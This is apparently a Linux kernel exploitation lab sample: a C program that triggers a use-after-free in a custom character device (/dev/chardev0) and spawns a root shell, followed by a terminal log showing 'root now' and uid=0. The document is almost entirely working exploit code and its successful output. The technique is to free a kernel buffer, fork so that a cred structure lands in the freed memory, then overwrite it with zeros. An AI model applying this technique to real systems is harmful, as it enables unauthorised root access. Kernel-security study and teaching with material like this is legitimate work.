#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" int main() { int fd1,fd2; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); if (close(fd1) != 0){ printf("Cannot close.\n"); } int pid = fork(); printf("PID %d\n",pid); if(pid < 0){ puts("[*] fork error!"); exit(0); }else if(pid == 0){ char zeros[30] = {0}; write(fd2, zeros, 28); if(getuid() == 0){ puts("[+] root now."); system("/bin/sh"); exit(0); }else{ printf("UID : %d\n",getuid()); } }else{ wait(1); } if (close(fd2) != 0){ printf("Cannot close.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-2 PID 2940 PID 0 [+] root now. # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0) # |